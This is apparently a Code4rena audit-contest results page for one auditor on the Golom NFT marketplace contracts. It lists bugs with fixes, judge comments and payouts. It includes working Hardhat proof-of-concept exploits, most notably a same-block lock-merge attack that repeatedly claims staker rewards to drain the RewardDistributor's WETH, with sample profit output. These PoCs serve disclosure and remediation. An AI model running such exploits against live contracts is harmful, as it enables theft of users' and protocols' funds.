Platform: Code4rena
Start Date: 26/07/2022
Pot Size: $75,000 USDC
Total HM: 29
Participants: 179
Period: 6 days
Judge: LSDan
Total Solo HM: 6
Id: 148
League: ETH
Rank: 1/179
Findings: 6
Award: $9,666.64
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: berndartmueller
Also found by: 0x1f8b, 0x52, 0xA5DF, 0xsanson, CRYP70, GimelSec, Krow10, TrungOre, auditor0517, hansfriese, hyh, panprog, rajatbeladiya, rbserver, teddav
93.2805 USDC - $93.28
The ve
storage variable in the RewardDistributor
contract, initially set to 0, is meant to be changed with a call to the addVoteEscrow
function. The function is supposed to set the new ve
immediately if hasn't been initialized but the assignment uses the wrong variable at line 300.
Since the pendingVoteEscrow
is also 0 at the start, the code flow will never reach the else
condition and will result in the contract being unusable, meaning all rewards accumulated by users from Golom Traders referencing the contract cannot be redeemed.
Hardhat test:
it('[#1] VoteEscrow cannot be set', async () => { expect( await rewardDistributor.ve() ).to.be.equal(ethers.constants.AddressZero); // Since ve is null, addVoteEscrow should immediatly set the new ve without needing confirmation await rewardDistributor.connect(governance).addVoteEscrow(await governance.getAddress()); expect( await rewardDistributor.ve() ).to.be.equal(ethers.constants.AddressZero); // ve is still null however as the value is set to the 'pendingVoteEscrow' null by default and cannot be changed due to code flow });
Change line 300 to ve = VE(_voteEscrow);
.
#0 - KenzoAgada
2022-08-02T09:25:11Z
Duplicate of #611
93.2805 USDC - $93.28
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L381 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L389-L394 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L396-L399
The protocolFee
in _settleBalances()
is calculated from the 0.5% flat fee multiplied by the amount
of tokens bought in the bid order. However when evaluating the amount of Ether to send to the seller, the calculation also multiplies the terms by the amount
parameter. This results in less Ether sent to the seller and funds remaining in the GolomTrader contract after the transaction is finished.
This impacts users who want to accept a bid order for multiple ERC1155 tokens as ERC721 tokens are limited to one per order and are not affected by this.
Hardhat test case :
describe('Exploits', function() { it('[#1] Wrong calculation in _settleBalance() results in loss of ETH profit for seller', async () => { let makerBalanceBefore = await ethers.provider.getBalance(maker.address); let takerFunds = ethers.utils.parseEther('15'); // Taker wants to buy 10 tokens for 1.5 ETH each from maker let tokenAmt = 10; await weth.connect(taker).deposit({value: takerFunds}); // Convert to WETH await weth.connect(taker).approve(golomTrader.address, ethers.constants.MaxUint256); expect( await weth.balanceOf(taker.address) ).to.be.equal(takerFunds); await testErc1155.mint(maker.address); // Mint dummy ERC1155 tokens for maker let exchangeAmount = ethers.utils.parseEther('1'); // Cut for the exchanges FOR EACH TOKEN = 10 ETH total let prePaymentAmt = ethers.utils.parseEther('0.25'); // Royalty cut FOR EACH TOKEN = 2.5 ETH total let totalAmt = takerFunds.div(tokenAmt); // Amount per token 1.5 ETH let tokenId = 0; const order = { collection: testErc1155.address, tokenId: tokenId, signer: taker.address, orderType: 1, // Bid totalAmt: totalAmt, exchange: { paymentAmt: exchangeAmount, paymentAddress: exchange.address }, prePayment: { paymentAmt: prePaymentAmt, paymentAddress: prepay.address }, isERC721: false, tokenAmt: tokenAmt, refererrAmt: 0, root: '0x0000000000000000000000000000000000000000000000000000000000000000', reservedAddress: constants.AddressZero, nonce: 0, deadline: Date.now() + 100000, r: '', s: '', v: 0, }; let signature = (await taker._signTypedData(domain, types, order)).substring(2); order.r = '0x' + signature.substring(0, 64); order.s = '0x' + signature.substring(64, 128); order.v = parseInt(signature.substring(128, 130), 16); await golomTrader.connect(maker).fillBid( order, tokenAmt, '0x0000000000000000000000000000000000000000', {paymentAmt: prePaymentAmt, paymentAddress: await governance.getAddress()} // Governance gets paid only ONCE so 0.25 ETH ); /* 10 tokens at 1.5 ETH each Expected : ---------- Taker : -1.5 ETH * 10 tokens = -15 ETH Exchange : 1 ETH * 10 tokens = +10 ETH Royalty : 0.25 ETH * 10 tokens = +2.5 ETH Governance : = +0.25 ETH Distributor : 0.005*1.5 ETH * 10 tokens = 0.075 ETH =============================================== Maker : = 2.175 ETH Actual : ---------- Taker : -1.5 ETH * 10 tokens = -15 ETH Exchange : 1 ETH * 10 tokens = +10 ETH Royalty : 0.25 ETH * 10 tokens = +2.5 ETH Governance : = +0.25 ETH Distributor : 0.005*1.5 ETH * 10 tokens = 0.075 ETH =============================================== Maker : = 1.5 ETH Golom contract : = 0.675 ETH */ expect( await ethers.provider.getBalance(golomTrader.address) ).to.be.gt(0); // Extra ETH from wrong calculation }); });
Remove the amount
multiplier in the protocolFee
assignation (line 381). This requires to change line 384 to multiply by the amount
(like the next ones).
#0 - KenzoAgada
2022-08-02T06:31:56Z
Duplicate of #240
🌟 Selected for report: Krow10
9423.592 USDC - $9,423.59
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L172-L210 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L185
A malicious user can repeatedly claim the same staker reward for an epoch, provided the transactions all happen in the same block. This can effectively be done using services like Flashbots bundles and will result in the draining of the WETH balance of the RewardDistributor
contract.
The idea is to bypass the require statement line 185 which checks if a claim has been already done for the epoch, for a specific token ID. By moving the locked tokens in a new lock, a new token ID will be generated and can be used to claim the rewards again, if the transaction happens in the same block for which the epoch is updated.
Indeed, when multiStakerClaim()
is called, the rewardETH
will be calculated from the amount of tokens locked in tokenids[tindex]
at the block that triggered the epoch change (variable epochBeginTime
). If, during this time, an attacker transfers its staked tokens to a new vault using the merge
function of the VE token, the function will calculate the amount of staked tokens for the newly created tokenID as the same as the original tokenID reward.
A example abuse will look like this (pseudo-code adapted from the PoC) :
lockID = voteEscrow.create_lock(amount, 1 week); // Create lock #1 before // IN THE BLOCK OF EPOCH CHANGE rewardDistributor.multiStakerClaim([lockId], [0]); // Claim epoch 0 rewards for lock #1 voteEscrow.create_lock(1, 1 week); // Create lock #2 (requires 1 Golom token, could be created in advance) voteEscrow.merge(lockId, lockId + 1); // Transfer lock #1 tokens to lock #2 rewardDistributor.multiStakerClaim([lockId + 1], [0]); // Claim same epoch rewards for lock #2 // repeat ...
To abuse this, the attacker needs to follow this steps:
addFee
call that will trigger an epoch change (this can be monitored by looking at the mempool or predicted from block timestamps). Services like Flashbots also allows for specifying a range of blocks for bundles for better targeting.Note that this needs to succeed only once to allow an attacker to drain all WETH funds so if the bundle isn't included for a particular epoch, given the frequency of epoch changes, the bundle will eventually be included and trigger the exploit.
Hardhat config for disabling auto-mine and control transactions included in blocks:
hardhat: { allowUnlimitedContractSize: true, gas: 12000000, blockGasLimit: 0x1fffffffffffff, mining: { auto: false, interval: 10 } },
Hardhat test (requires setting up VoteEscrow):
it('[#2] Repeated calls to `multiStakerClaim` in the same block leads to loss of funds', async () => { async function advance_time(time_s:any){ let timestamp = await getTimestamp(); await ethers.provider.send('evm_mine', [timestamp + time_s]); } async function mine(){ await ethers.provider.send('evm_mine', []); } async function send_order(){ await testErc721.mint(await maker.getAddress()); let exchangeAmount = ethers.utils.parseEther('1'); // cut for the exchanges let prePaymentAmt = ethers.utils.parseEther('0.25'); // royalty cut let totalAmt = ethers.utils.parseEther('10'); let tokenId = await testErc721.current(); const order = { collection: testErc721.address, tokenId: tokenId, signer: await maker.getAddress(), orderType: 0, totalAmt: totalAmt, exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() }, prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() }, isERC721: true, tokenAmt: 1, refererrAmt: 0, root: '0x0000000000000000000000000000000000000000000000000000000000000000', reservedAddress: constants.AddressZero, nonce: 0, deadline: Date.now() + 100000000, r: '', s: '', v: 0, }; let signature = (await maker._signTypedData(domain, types, order)).substring(2); order.r = '0x' + signature.substring(0, 64); order.s = '0x' + signature.substring(64, 128); order.v = parseInt(signature.substring(128, 130), 16); return golomTrader.connect(prepay).fillAsk( order, 1, constants.AddressZero, {paymentAmt: prePaymentAmt, paymentAddress: await governance.getAddress()}, constants.AddressZero, {value: utils.parseEther('10.25')} ); } async function showPendingBlock(){ console.log('[PENDING]\n', await ethers.provider.send("eth_getBlockByNumber", ["pending", false])); } // Get some Golom tokens to taker, could come from anywhere await golomToken.connect(governance).mintAirdrop(await taker.getAddress()); // Approve spending from VE await golomToken.connect(taker).approve(voteEscrow.address, constants.MaxUint256); // Simulate more fees by putting some ETH in contract before epoch 0 await maker.sendTransaction({to: rewardDistributor.address, value: utils.parseEther('100')}); // Taker starts with 10_000 ETH, hardhat account let takerStartBalance = await ethers.provider.getBalance(taker.address); // Send order for first epoch to get some fees in 'epochTotalFee' await send_order(); await mine(); advance_time(1659211200 + 24*60*60 + 1); // Fast forward to epoch 1 // Setup some users who locks their tokens in VE beforehand let lockId = 0; for (let i = 0; i < 5; ++i){ let user = accounts[6+i]; await golomToken.connect(taker).transfer(await user.getAddress(), utils.parseEther('1')); await golomToken.connect(user).approve(voteEscrow.address, constants.MaxUint256); await voteEscrow.connect(user).create_lock(utils.parseEther('1'), 7*24*60*60, {gasLimit: 100000000}); lockId += 1; } // Create lock for taker with 1 ETH equivalent in Golom tokens (could work with only 1 'Wei' token although it will require lots of transactions) await voteEscrow.connect(taker).create_lock(utils.parseEther('1'), 24*60*60*7, {gasLimit: 100000000}); lockId += 1; await send_order(); // Trigger epoch change // --- IN THE SAME BLOCK --- await rewardDistributor.multiStakerClaim([lockId], [0]); // Claim epoch rewards for lock #1 await voteEscrow.connect(taker).create_lock(1, 24*60*60*7, {gasLimit: 100000000}); // Create lock #2 (requires 1 Golom token) await voteEscrow.connect(taker).merge(lockId, lockId + 1, {gasLimit: 100000000}); // Merge lock #1 tokens to lock #2 await rewardDistributor.multiStakerClaim([lockId + 1], [0]); // Claim same epoch rewards for lock #2 // ... Repeat as much as you want ;) // --- IN THE SAME BLOCK --- await mine(); console.log('Taker WETH balance:', utils.formatEther(await weth.balanceOf(taker.address))); await weth.connect(taker).withdraw(await weth.balanceOf(taker.address)); // Could be the last transaction in the block too await mine(); // Taker balance difference is +++ at the end let takerEndBalance = (await ethers.provider.getBalance(taker.address)).sub(takerStartBalance); console.log('Taker ETH balance:', utils.formatEther(await ethers.provider.getBalance(taker.address)), '/ end:', utils.formatEther(takerEndBalance)); });
Sample output:
RewardDistributor.sol Exploits [SOL] 27 0 50000000000000000 // First addFee call for adding fees [SOL] 38 0 50000000000000000 // Second addFee triggering epoch change [WETH] Deposit 100100000000000000000 // Epoch 0 WETH deposit [SOL_EPOCH] 1 599999983058823529411764 16941175992249134 50000000000000000 // epoch, tokenToEmit, stakerReward, previousEpochFee 16941175992249134 401999977298823849898962 197999988818823687263667 38 // rewardStaker[epoch], rewardTrader[epoch], rewardExchange[epoch], epochBeginTime[epoch] 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance before: 0 // WETH balance of taker [CLAIM] 6 38 911822995832895 // First multiStakerClaim, (tokenID, epochBeginTime, balanceOfAtNFT) [WETH] Sent 16683333333333333333 to 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance after: 16683333333333333333 // WETH balance of taker 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance before: 16683333333333333333 // WETH balance of taker [CLAIM] 7 38 911822995832895 // Second multiStakerClaim, (tokenID, epochBeginTime, balanceOfAtNFT) [WETH] Sent 16683333333333333333 to 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 balance after: 33366666666666666666 // WETH balance of taker Taker WETH balance: 33.366666666666666666 // After block is mined Taker ETH balance: 10033.36524137856006494 / end: 33.365289929424174404 // Profit !! √ [#2] Repeated calls to `multiStakerClaim` in the same block leads to loss of funds
I initially thought about a few possible solutions:
msg.sender
or tx.origin
for preventing multiple calls to multiStakerClaim
in the same block but the attacker can just send transactions from different addresses.None really fixes the vulnerability as it comes from the feature of locks being tradable meaning it's not practically feasable to know if a lock has already be claimed by an individual just by looking at the lock ID.
A possible solution would be to find a way to prevent multiple calls to the same function within a block or better, make a checkpoint of the locks balances for each epochBeginTime
and uses these values for calculating the rewards (instead of querying the VE contract in the loop).
#0 - 0xsaruman
2022-08-26T12:06:12Z
duplicate of https://github.com/code-423n4/2022-07-golom-findings/issues/591
edit: not a duplicate
#1 - 0xsaruman
2022-09-06T09:59:22Z
🌟 Selected for report: cloudjunky
Also found by: 0x1f8b, 0x4non, 0x52, 0xDjango, 0xHarry, 0xNazgul, 0xNineDec, 0xf15ers, 0xsanson, 0xsolstars, 8olidity, Bnke0x0, CertoraInc, Chom, Deivitto, Dravee, GalloDaSballo, GimelSec, IllIllI, Jmaxmanblue, JohnSmith, Jujic, Kenshin, Krow10, Lambda, MEP, Noah3o6, RedOneN, Ruhum, StErMi, StyxRave, TomJ, Treasure-Seeker, TrungOre, _Adam, __141345__, arcoun, asutorufos, bardamu, bearonbike, bin2chen, brgltd, bulej93, c3phas, cRat1st0s, carlitox477, cccz, codexploder, cryptonue, cryptphi, cthulhu_cult, dharma09, dipp, djxploit, durianSausage, ellahi, giovannidisiena, hansfriese, horsefacts, hyh, immeas, indijanc, jayjonah8, jayphbee, joestakey, kenzo, kyteg, ladboy233, minhquanym, navinavu, obront, oyc_109, peritoflores, rbserver, reassor, rokinot, rotcivegaf, saian, scaraven, shenwilly, simon135, sseefried, teddav, zzzitron
0.0037 USDC - $0.00
Judge has assessed an item in Issue #207 as Medium risk. The relevant finding follows:
[L-03] Use safeTransferFrom for ERC721 tokens Description As OpenZeppelin recommends, the transferFrom function should not be used for transferring ERC721 NFT tokens and instead the safeTransferFrom function should be used to prevent tokens from being locked.
Findings https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L236 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L361
Recommended mitigation steps Use the safeTransferFrom function in place of the transferFrom function.
#0 - dmvt
2022-10-21T14:58:48Z
Duplicate of #343
🌟 Selected for report: IllIllI
Also found by: 0x1f8b, 0x4non, 0x52, 0xA5DF, 0xDjango, 0xLovesleep, 0xNazgul, 0xNineDec, 0xSmartContract, 0xackermann, 0xc0ffEE, 0xf15ers, 0xmatt, 0xsanson, 0xsolstars, 8olidity, AuditsAreUS, Bahurum, Bnke0x0, CRYP70, CertoraInc, Ch_301, Chom, CryptoMartian, Deivitto, DevABDee, Dravee, ElKu, Franfran, Funen, GalloDaSballo, GimelSec, GiveMeTestEther, Green, JC, Jmaxmanblue, JohnSmith, Jujic, Junnon, Kenshin, Krow10, Kumpa, Lambda, MEP, Maxime, MiloTruck, Mohandes, NoamYakov, Picodes, RedOneN, Rohan16, Rolezn, Ruhum, RustyRabbit, Sm4rty, Soosh, StErMi, StyxRave, Tadashi, TomJ, Treasure-Seeker, TrungOre, Waze, _Adam, __141345__, ajtra, ak1, apostle0x01, arcoun, asutorufos, async, benbaessler, berndartmueller, bin2chen, brgltd, c3phas, cRat1st0s, carlitox477, chatch, codetilda, codexploder, cryptonue, cryptphi, csanuragjain, cthulhu_cult, delfin454000, dipp, dirk_y, djxploit, ellahi, exd0tpy, fatherOfBlocks, giovannidisiena, hansfriese, horsefacts, hyh, idkwhatimdoing, indijanc, jayfromthe13th, jayphbee, joestakey, kenzo, kyteg, lucacez, luckypanda, mics, minhquanym, obront, oyc_109, pedr02b2, rajatbeladiya, rbserver, reassor, robee, rokinot, rotcivegaf, sach1r0, saian, saneryee, sashik_eth, scaraven, shenwilly, simon135, sseefried, supernova, teddav, ych18, zuhaibmohd, zzzitron
35.1687 USDC - $35.17
The functions traderClaim
and exchangeClaim
from the RewardDistributo
contract can be called by anyone to claim rewards for tokens they don't own. While this is not a security issue, it can be annoying for traders and especially exchanges to have their rewards claimed at anytime, as it might trigger workflows or other setups that they might have in place for handling the rewards.
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L141-L152 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L155-L166
Use require(msg.sender == addr, 'Cannot claim for others')
at the top of the functions and eventually add a third parameter for specifying an address to transfer the funds to for more flexibility.
Hardcoding other contract addresses can be dangerous if the contract is to be deployed on other chains were the contract hasn't been initialized yet.
Best practice will be to set the WETH contract address from the constructor and eventually add functions (similar to others like setMiner
, or setVoteEscrow
) to change the contract address.
safeTransferFrom
for ERC721 tokensAs OpenZeppelin recommends, the transferFrom
function should not be used for transferring ERC721 NFT tokens and instead the safeTransferFrom
function should be used to prevent tokens from being locked.
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L236 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L361
Use the safeTransferFrom
function in place of the transferFrom
function.
The fee system that Golom intend to put in place wants to reward both the users and the exchanges that facilitate the transactions. However, unwarry users may be enticed to give approval of their tokens to exchanges that will sign the transfers for them, effectively cumulating both the signer
and exchange
rewards when filling orders. This could lead users to miss on rewards.
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L269 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L402
The addFee
function could require that the two address supplied be different (note that this doesn't prevent exchanges from using a second address for signing transactions). Golom should incentivize users to be wary of such exchanges.
Comments are important for developers to communicate effectively their intent when writing code and especially when participating in an audit process to give better context and understanding to auditors. While the code in general is of good quality, there instances where comments have been misleading or are entierly wrong.
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L252-L253 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L267-L268
Rephrase, clarify, correct or remove the identified comments.
As it's common practice when writing Solidity code, private and internal functions are usually prefixed with an underscore for developers to quickly visualize the critical public and external functions in the code. Automated tools can also really on this practice for parsing.
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L112 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L198
Prefix all internal and private functions with an underscore for consistency.
require
statement messagesWhen reverting a transaction, it's important to provide a meaningful message that will be passed down to the user in order to know what whent wrong with the transaction. Some of the reverting messages in the code are either missing or do not provide any value to the end user.
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L239 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L245 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L88 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L144 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L158 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L211 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L217 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L220 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L285 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L291 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L293 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L295 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L313 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L342 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L345 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L347 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L349 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L350
Rephrase, clarify or correct the identified revert messages.
Events are an important aspect of making smart contracts as it allows for off-chain tools and services to quickly register state changes from a contract and notice users about relevant changes. Such changes usually includes owner changes, claimed rewards, etc. The Golom contracts are missing some events regarding those important changes (such as setMinter
, or setVoteEscrow
).
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L58 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L65 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L210 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L285 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L291 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L298 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L308 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L141 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L155 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L172 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L444 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L454
Add relevant events to the indicated functions for noticing important changes.
🌟 Selected for report: JohnSmith
Also found by: 0x1f8b, 0xA5DF, 0xDjango, 0xKitsune, 0xLovesleep, 0xNazgul, 0xSmartContract, 0xmatt, 0xsam, Aymen0909, Bnke0x0, CRYP70, Chandr, Chinmay, CodingNameKiki, Deivitto, Dravee, ElKu, Fitraldys, Funen, GalloDaSballo, Green, IllIllI, JC, Jmaxmanblue, Junnon, Kaiziron, Kenshin, Krow10, Maxime, Migue, MiloTruck, Noah3o6, NoamYakov, Randyyy, RedOneN, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, StyxRave, TomJ, Tomio, _Adam, __141345__, ajtra, ak1, apostle0x01, asutorufos, async, benbaessler, brgltd, c3phas, cRat1st0s, carlitox477, delfin454000, djxploit, durianSausage, ellahi, erictee, fatherOfBlocks, gerdusx, gogo, hyh, jayfromthe13th, jayphbee, joestakey, kaden, kenzo, kyteg, ladboy233, lucacez, m_Rassska, mics, minhquanym, oyc_109, pfapostol, rbserver, reassor, rfa, robee, rokinot, sach1r0, saian, samruna, sashik_eth, simon135, supernova, tofunmi, zuhaibmohd
21.3211 USDC - $21.32
In Solidity, variables are initialized to zero by default so there is no need to spend extra gas on zero-value assignations.
https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L45 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L142 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L143 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L156 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L157 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L175 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L176 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L180 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L183 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L222 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L223 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L226 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L257 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L258 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L272 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/rewards/RewardDistributor.sol#L273 https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/core/GolomTrader.sol#L415 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L50 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L147 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L170 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L171 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L188 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L189 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L697 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L698 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L735 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L745 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L749 